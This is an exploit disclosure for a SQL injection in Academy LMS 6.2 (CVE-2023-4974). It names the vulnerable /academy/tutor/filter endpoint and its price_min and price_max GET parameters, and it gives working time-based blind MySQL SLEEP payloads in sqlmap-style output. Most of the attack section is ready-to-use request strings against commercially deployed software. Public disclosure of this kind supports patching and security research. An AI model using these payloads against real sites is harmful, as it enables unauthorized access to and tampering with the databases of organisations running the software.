Academy LMS 6.2 SQL Injection

`# Exploit Title: Academy LMS 6.2 - SQL Injection  
# Exploit Author: CraCkEr  
# Date: 29/08/2023  
# Vendor: Creativeitem  
# Vendor Homepage: https://creativeitem.com/  
# Software Link: https://demo.creativeitem.com/academy/  
# Tested on: Windows 10 Pro  
# Impact: Database Access  
# CVE: CVE-2023-4974  
# CWE: CWE-89 / CWE-74 / CWE-707  
  
  
## Greetings  
  
The_PitBull, Raz0r, iNs, SadsouL, His0k4, Hussin X, Mr. SQL , MoizSid09, indoushka  
CryptoJob (Twitter) twitter.com/0x0CryptoJob  
  
  
## Description  
  
SQL injection attacks can allow unauthorized access to sensitive data, modification of  
data and crash the application or make it unavailable, leading to lost revenue and  
damage to a company's reputation.  
  
  
Path: /academy/tutor/filter  
  
GET parameter 'price_min' is vulnerable to SQL Injection  
GET parameter 'price_max' is vulnerable to SQL Injection  
  
https://website/academy/tutor/filter?searched_word=&searched_tution_class_type%5B%5D=1&price_min=[SQLi]&price_max=[SQLi]&searched_price_type%5B%5D=hourly&searched_duration%5B%5D=0  
  
---  
Parameter: price_min (GET)  
Type: time-based blind  
Title: MySQL >= 5.0.12 time-based blind (query SLEEP)  
Payload: searched_word=&searched_tution_class_type[]=1&price_min=(SELECT(0)FROM(SELECT(SLEEP(7)))a)&price_max=9&searched_price_type[]=hourly&searched_duration[]=0  
  
Parameter: price_max (GET)  
Type: time-based blind  
Title: MySQL >= 5.0.12 time-based blind (query SLEEP)  
Payload: searched_word=&searched_tution_class_type[]=1&price_min=1&price_max=(SELECT(0)FROM(SELECT(SLEEP(9)))a)&searched_price_type[]=hourly&searched_duration[]=0  
---  
  
  
[-] Done  
`